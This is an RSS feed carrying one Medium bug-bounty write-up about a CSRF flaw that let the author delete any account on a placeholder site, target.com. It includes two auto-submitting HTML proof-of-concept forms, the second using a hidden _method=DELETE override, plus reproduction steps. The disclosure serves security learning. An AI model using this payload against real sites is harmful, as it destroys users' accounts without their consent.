<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by mostafa on Medium]]></title>
        <description><![CDATA[Stories by mostafa on Medium]]></description>
        <link>https://medium.com/@zakimostafa334?source=rss-6849a4df1d2f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*eGGGhfEd-TlsHnluMjTJeQ.jpeg</url>
            <title>Stories by mostafa on Medium</title>
            <link>https://medium.com/@zakimostafa334?source=rss-6849a4df1d2f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 11:45:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@zakimostafa334/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CSRF leads to delete account]]></title>
            <link>https://medium.com/@zakimostafa334/csrf-leads-to-delete-account-071480855d01?source=rss-6849a4df1d2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/071480855d01</guid>
            <dc:creator><![CDATA[mostafa]]></dc:creator>
            <pubDate>Fri, 29 Nov 2024 16:55:49 GMT</pubDate>
            <atom:updated>2024-11-29T16:55:49.047Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s6hux_umFMF2pwsTx88e9g.jpeg" /></figure><p><strong>“اللهم صلِّ وسلِّم على سيدنا محمد عليه أفضل الصلاة والسلام”</strong></p><p>I hope you’re all doing well. This is my first write-up and I wanted to share it with you. If there are any mistakes, please let me know in the comments.</p><p><strong>Whoami?</strong><br>My name is Mostafa Zaki. I’m 21 years old, and I started bug hunting 3 months ago.</p><p><strong>Summary</strong><br>I discovered a critical CSRF vulnerability in the <strong>Delete Account</strong> functionality of target.com. This flaw allowed me to delete any user account, including administrative accounts, without their consent. The root cause of the issue was the absence of proper CSRF protection combined with an insecure implementation of the HTTP request method.</p><p>Let’s start the story in detail.</p><p>As part of my security testing methodology, I created two accounts: <strong>Attacker</strong> and <strong>Victim</strong>. The goal was to investigate any potential vulnerabilities in core functionalities, such as authentication, authorization, and account management.</p><h3>Step 1: Initial Exploration</h3><p>I noticed an option to delete an account in the “Profile” section. Clicking on the <strong>“Delete My Account”</strong> button immediately deleted my account without any confirmation or password verification.</p><h3>Step 2: Identifying the CSRF Weakness</h3><p>Upon intercepting the request in <strong>Burp Suite</strong>, I observed the following details:</p><ul><li><strong>Request Type</strong>: DELETE</li><li><strong>Endpoint</strong>: <a href="https://target.com/api/users/destroy">https://target.com/api/users/destroy</a></li><li><strong>Headers</strong>: The request included a header X-Csrf-Token, but the server did not validate it effectively.</li></ul><p>Initially, I attempted a CSRF Proof of Concept (PoC) using the DELETE method:</p><pre><br>&lt;html&gt;<br>  &lt;!-- CSRF PoC - Initial Attempt --&gt;<br>  &lt;body&gt;<br>    &lt;form action=&quot;https://target.com/api/users/destroy&quot; method=&quot;POST&quot;&gt;<br>      &lt;input type=&quot;submit&quot; value=&quot;Submit request&quot; /&gt;<br>    &lt;/form&gt;<br>    &lt;script&gt;<br>      history.pushState(&#39;&#39;, &#39;&#39;, &#39;/&#39;);<br>      document.forms[0].submit();<br>    &lt;/script&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>After further research, I discovered the server accepted a POST request with a body parameter _method=DELETE. This method override allowed me to bypass the initial restriction.</p><p>Here’s the refined PoC:</p><pre>&lt;html&gt;<br>  &lt;!-- CSRF PoC - Refined Version --&gt;<br>  &lt;body&gt;<br>    &lt;form action=&quot;https://target.com/api/users/destroy&quot; method=&quot;POST&quot;&gt;<br>      &lt;input type=&quot;hidden&quot; name=&quot;_method&quot; value=&quot;DELETE&quot; /&gt;<br>      &lt;input type=&quot;submit&quot; value=&quot;Submit request&quot; /&gt;<br>    &lt;/form&gt;<br>    &lt;script&gt;<br>      history.pushState(&#39;&#39;, &#39;&#39;, &#39;/&#39;);<br>      document.forms[0].submit();<br>    &lt;/script&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>Executing this PoC successfully deleted the Victim’s account.</p><p>STEPS:</p><p>1- create account</p><p>2- delete your account and intercept the request</p><p>3- Observe that the request uses the DELETE method.</p><p>4- Change the HTTP method from DELETE to POST and Add the following parameter in the request body:</p><p>_method=DELETE</p><ul><li>Send the modified request. If successful, the account will be deleted, demonstrating the CSRF vulnerability.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*KQ7RTxdYLVR6_7hMU5Mi_A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=071480855d01" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>